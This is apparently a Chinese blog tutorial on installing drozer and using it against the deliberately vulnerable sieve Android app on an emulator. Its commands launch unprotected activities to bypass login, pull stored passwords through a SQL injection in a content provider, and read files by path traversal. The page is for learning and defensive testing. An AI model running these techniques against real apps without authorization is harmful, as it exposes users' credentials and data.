Drozer的安装和使用教程(入门)

这篇文章主要是对于app组件安全测试工具drozer的一个入门使用介绍,针对初入小白和记性很差的自己-0-

drozer是一款针对Android系统的安全测试工具,分成两个部分:

“console”:运行在本地计算机上,类似于控制台;

“agent”:是一个安装在终端上的代理app。

  • 安装

目前网上的安装步骤很多也很详细,我这边就不多做赘述,只写一些注意点吧,避免踩坑或者找不到。

  1. 运行环境需要python2.7、jdk1.7
  2. PC端和移动端交互时需要adb命令,所以需要安装adb工具

注:adb下载和配置:

SDK Platform Tools 版本说明  |  Android 开发者  |  Android Developers

安装好后可以配置环境变量,这样可以更为方便的使用

 

 

直接将配置好的变量名配在Path中,然后检查是否安装和配置成功。

  • 使用

2.1、这里我们用模拟器代替手机来进行app检测,所以将drozer的agent部分安装在模拟器中(类似于安装了个app)。

注:这里向模拟器中安装app可以有两个方法,一个是通过adb命令来安装: adb install 安装包(带路径);另外一个就是直接把要安装的app直接拖到模拟器界面中即可,这点是跟手机端安装有点区别的。

这里还需要一个测试用的apk包:sieve.apk

链接:

百度网盘 请输入提取码 ,提取码:gr12(这里是别人分享的,我自己也用的这个)

 

2.2、连接夜神模拟器

adb connect 127.0.0.1:62001(夜神模拟器默认端口为62001)

adb devices(查看链接的设备)

 如此说明连接成功。

2.3、PC端运行drozer

drozer目录下运行cmd,然后进行转发并连接

adb forward  tcp:31415  tcp:31415(就是将PC端31415收到的数据转发给终端的agent默认监听的31415端口)

drozer.bat console connect(连接终端agent)

注:1、可能部分人执行连接会报错,大概率可能性是没有把模拟器或者手机端的agent打开

2、终端agent打开后,还要注意转发端口是否已经开启

都准备好后,PC端执行命令,如下表示已经连接成功

  • 实测

3.1、根据app名称得到app的包名

run aap.package.list -f sieve

 

3.2、查看应用的信息

run aap.package.info -a com.mwr.example.sieve

 

Application Label: app名称

Process Name: 运行该app的进程名称

Version: 版本号

Data Directory: 该app相关数据的存储路径

APK Path: app真正的package文件所在路径

UID: app关联的用户ID

GID:组ID

Shared Libraries:app使用的共享库

Shared User ID: 可以使用该app的共享用户的ID

Uses Permissions:权限列表

Defines Permissions:自定义权限

3.3、识别攻击面

run app.package.attacksurface com.mwr.example.sieve

 

根据攻击面检测展示可知四大组件分别有多少是对外暴露的,并且该app是可调试的

3.4、针对暴露位置进行攻击

准备攻击前,先打开sieve这个app,设置下密码和pin值,方便后续的测试。

 

3.4.1、测试activity的暴露点

Activity暴露容易造成界面绕过等风险。

显示暴露的activity的信息

run app.activity.info -a com.mwr.example.sieve

 

根据展示的信息,因为该app打开之后需要登陆才可以。但是发现上面展示的除了一个类似登陆的界面以外还有两个界面,并且没有设置权限,由此可能存在绕过登陆的风险。

生成intent中间件尝试拉起PWList和FileSelectActivity两个界面

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

发现PWList界面是一个存放登陆密码的地方,这样就可以获取登陆密码了。

3.4.2测试provider的暴露点

Provider的暴露容易造成数据库泄露或者SQL注入等风险。

显示暴露的provider的信息

run app.provider.info -a com.mwr.example.sieve

尝试枚举存在的uri

run app.provider.finduri com.mwr.example.sieve

 

使用扫描枚举可以访问的uri

run scanner.provider.finduris -a com.mwr.example.sieve

根据结果发现可以访问的有三个,逐个尝试访问uri

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

经观察,发现泄露了一些数据。

进行sql注入检查:

扫描器扫描存在注入点的uri

run scanner.provider.injection -a com.mwr.example.sieve

对发现的注入点进行SQL注入尝试

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’”

根据提示可能存在keys表,尝试查询其中数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “* from keys;--”

得到了sieve的登陆界面的密码和设置的PIN码

检测目录遍历:

扫描器扫描存在目录遍历的uri

run scanner.provider.traversal -a com.mwr.example.sieve

检测到存在目录遍历,尝试进行遍历

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts

另外还可以直接下载可遍历的文件

默认是下载到drozer目录下

3.4.3测试service的暴露点

Service的暴露容易导致敏感信息泄露,并可能受到权限提升、拒绝服务等风险

获取app中service详情

run app.service.info -a com.mwr.example.sieve

 

根据结果发现,service命名表现得像是权限和加密的服务没有设置权限,存在漏洞

尝试与暴露的且没有权限的service做交互

拉起服务

run app.service.start --action com.mwr.example.sieve.AuthService --component com.mwr.example.sieve com.mwr.example.sieve.AuthService

尝试交互传参

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 1 2 3

可见当某些服务对外暴露且没有设置权限就会可能被外部轻易拉起,传入有风险的参数,获取敏感信息或提权,或者一直发送错误参数和请求导致拒绝服务。

3.4.4测试broadcast的暴露点

broadcast的暴露容易导致敏感信息泄露,并可能受到权限绕过、拒绝服务

获取broadcast receivers信息

run app.broadcast.info -a com.mwr.example.sieve

发现该app没有receivers信息,通过反编译该apk检查manifest文件发现确实没有配置

broadcast的风险点跟service类似,如果存在暴露也可以通过发送广播来获取响应

发送广播

run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>

嗅探广播的数据

run app.broadcast.sniff --action <action>

恶意发送不完整的intent或者空extras广播包导致拒绝服务

un app.broadcast.send --component <package name> <component name>

这边具体由于sieve没有广播组件,所以未展示出来命令执行效果。

结语:这是本人第一次开始总结一些东西,主要是也可以防止自己记性不太好,以后的文章都会尽量写的详细,希望都有用处吧~

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
drozer是一款用于安卓应用程序安全评估和渗透测试的工具。下面是一个简单的drozer使用教程: 1. 安装drozer:首先,你需要在你的机器上安装drozer。你可以从官方网站(https://github.com/FSecureLABS/drozer)下载最新的二进制版本,并按照官方文档进行安装。 2. 连接设备:将你的安卓设备连接到计算机,并确保已启用USB调试模式。你可以在设备的开发者选项中启用USB调试模式。 3. 启动drozer控制台:在命令行中输入`drozer console connect`命令来启动drozer控制台,并连接到你的设备。 4. 扫描应用程序:使用`run app.package.list`命令来列出设备上安装的应用程序包名。选择你想要评估或测试的应用程序,并记下其包名。 5. 选择目标应用程序:使用`run app.package.attacksurface <包名>`命令来选择目标应用程序,并获取有关其攻击面的信息。这将显示应用程序的组件、权限和接口等信息。 6. 进行漏洞扫描:使用`run scanner.<scanner_name>`命令来执行特定漏洞扫描。drozer提供了一系列内置的扫描器,例如`scanner.activity.injection`用于检测活动注入漏洞,`scanner.provider.query`用于检测内容提供者查询漏洞等。 7. 漏洞利用和渗透测试:如果你发现了漏洞,你可以使用drozer提供的一些模块来利用这些漏洞。例如,`run exploit.<exploit_name>`命令用于执行特定漏洞利用。 8. 退出drozer控制台:当你完成评估和测试后,可以使用`exit`命令退出drozer控制台。 请注意,drozer是一个强大的工具,需要谨慎使用。在使用drozer对任何应用程序进行评估和测试之前,请确保你具有合法的授权,并遵守适用的法律和道德准则。同时,也建议在安全环境中进行测试,以防止对正式环境造成任何损害。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值